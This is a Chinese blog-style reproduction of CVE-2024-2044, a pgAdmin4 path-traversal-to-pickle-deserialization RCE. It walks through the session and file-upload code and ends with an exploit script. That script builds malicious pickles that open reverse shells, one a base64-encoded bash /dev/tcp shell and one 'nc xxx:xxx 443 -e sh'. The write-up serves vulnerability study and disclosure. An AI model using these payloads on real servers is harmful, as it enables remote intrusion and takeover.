pgadmin4反序列化代码执行

闲来无事找点事干,去翻漏洞库的时候发现,这不是nk的题吗?看看小东西没做出来的东西有多难.

漏洞描述

pgAdmin4 是开源数据库 PostgreSQL 的图形管理工具。2024年互联网上披露 CVE-2024-2044 pgAdmin4 反序列化代码执行漏洞。当pgAdmin4 运行在Window平台时攻击者可在无需登陆的情况下构造恶意请求造成远程代码执行。若pgAdmin4 运行在Unix平台时,需要先经过身份认证才可触发反序列化造成代码执行。

影响版本

pgAdmin版本<= 8.3

环境搭建

https://www.pgadmin.org/download/照着官网的安装就行了(我是安装在桌面的),我是在kali虚拟机复现调试的...还是mac好

漏洞分析

漏洞情报都给了是会话,看看会话里面用的什么

原理还是挺简单的.主要还是从重写了open_session方法 pgadmin/utils/session.py里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class ManagedSessionInterface(SessionInterface):
def __init__(self, manager):
self.manager = manager

def open_session(self, app, request):
cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])

if not cookie_val or '!' not in cookie_val:
return self.manager.new_session()

sid, digest = cookie_val.split('!', 1)

if self.manager.exists(sid):
return self.manager.get(sid, digest)

return self.manager.new_session()
...

继承了SessionInterface,并且在open_ssesion里面会获取app.config[‘SESSION_COOKIE_NAME’]的值,在config.py里面写了SESSION_COOKIE_NAME = ‘pga4_session’,获取值后通过第一个!分割成2个列表.这里的sid和digest就可控了.

在__init__.py里面写了

1
2
3
4
if not cli_mode:
app.session_interface = create_session_interface(
app, config.SESSION_SKIP_PATHS
)

跟进create_session_interface方法,发现我们的服务session_interface用的就是ManagedSessionInterface.

1
2
3
4
5
6
7
8
9
10
11
12
def create_session_interface(app, skip_paths=[]):
return ManagedSessionInterface(
CachingSessionManager(
FileBackedSessionManager(
app.config['SESSION_DB_PATH'],
app.config['SECRET_KEY'],
app.config.get('PGADMIN_SESSION_DISK_WRITE_DELAY', 10),
skip_paths
),
1000,
skip_paths
))

所以传入ManagedSessionInterface的manger是CachingSessionManager.在ManagedSessionInterface的open_session方法里面if self.manager.exists(sid): return self.manager.get(sid, digest)

但是manager实际上调用的都是FileBackedSessionManager方法这里就不提了挺简单的,直接看FileBackedSessionManager的方法 ,先看manager.exists(sid)

1
2
3
def exists(self, sid):
fname = os.path.join(self.path, sid)
return os.path.exists(fname)

会用os.path.join(self.path, sid) 检查有没有这个路径,有这个路径就会调用get来获取一个session托管,而get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get(self, sid, digest):
'Retrieve a managed session by session-id, checking the HMAC digest'

fname = os.path.join(self.path, sid)
data = None
hmac_digest = None
randval = None

if os.path.exists(fname):
try:
with open(fname, 'rb') as f:
randval, hmac_digest, data = load(f)
except Exception:
pass
...
)

这里通过 fname = os.path.join(self.path, sid) join拼接来获取文件路径和名字,判断有没有这个文件,有就读,然后load反序列化.而这里sid是我们cookie这里传进来的,sid为绝对路径的话,我们就不用管self.path, 比如:

1
2
3
4
5
6
7
8
import os
path=os.path.dirname(os.path.realpath(__file__))
sid1="var"
sid2="/var"
fname1 = os.path.join(path, sid1)
fname2 = os.path.join(path,sid2)
print(fname1)#/home/kali/Desktop/var
print(fname2)#/var

所以sid为我们想要的反序列化文件的绝对路径就行了.(../)

所以想要利用的话,就得有一个能利用的文件了,所以看文件上传 pgadmin/misc/manager/init.py

实际上还是这个,要找路由就看哪里用了这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def add(self, req=None):
"""
File upload functionality
"""
if not self.validate_request('upload'):
return unauthorized(self.ERROR_NOT_ALLOWED['Error'])

if self.shared_dir:
the_dir = self.shared_dir
else:
the_dir = self.dir if self.dir is not None else ''

try:
path = req.form.get('currentpath')

file_obj = req.files['newfile']
file_name = file_obj.filename
orig_path = "{0}{1}".format(the_dir, path)
new_name = "{0}{1}".format(orig_path, file_name)

try:
# Check if the new file is inside the users directory
if config.SERVER_MODE:
pathlib.Path(
os.path.abspath(
os.path.join(the_dir, new_name)
)
).relative_to(the_dir)
except ValueError:
return unauthorized(self.ERROR_NOT_ALLOWED['Error'])

with open(new_name, 'wb') as f:
while True:
# 4MB chunk (4 * 1024 * 1024 Bytes)
data = file_obj.read(4194304)
if not data:
break
f.write(data)
except OSError as e:
return internal_server_error("{0} {1}".format(
gettext('There was an error adding the file:'), e.strerror))

Filemanager.check_access_permission(the_dir, path)

return {
'Path': path,
'Name': new_name,
}

文件上传就限制了大小和上传路径就不用细看了,所以先上传文件

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# import pickle

# class A(object):
# def __reduce__(self):
# return (eval,("__import__('os').system('echo \"YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=\" | base64 -d | bash -i')",))
# poc = A()
# result = pickle.dumps(poc)
# if __name__ == '__main__':
# with open('1.pickle', 'wb') as f:
# f.write(result)
# 机子不一样
import struct

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))+b'\x00\x00\x00\x00'
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"nc xxx:xxx 443 -e sh"))

我的截图呢?

img

img

修复方案

我觉得漏洞点还是因为cookie 因为json,sid哪里可以输入/ 并且我们上传文件的路径是知道,简单来说禁用里面有/是可以的

升级新版本

参考:

https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/

这个洞确实很简单.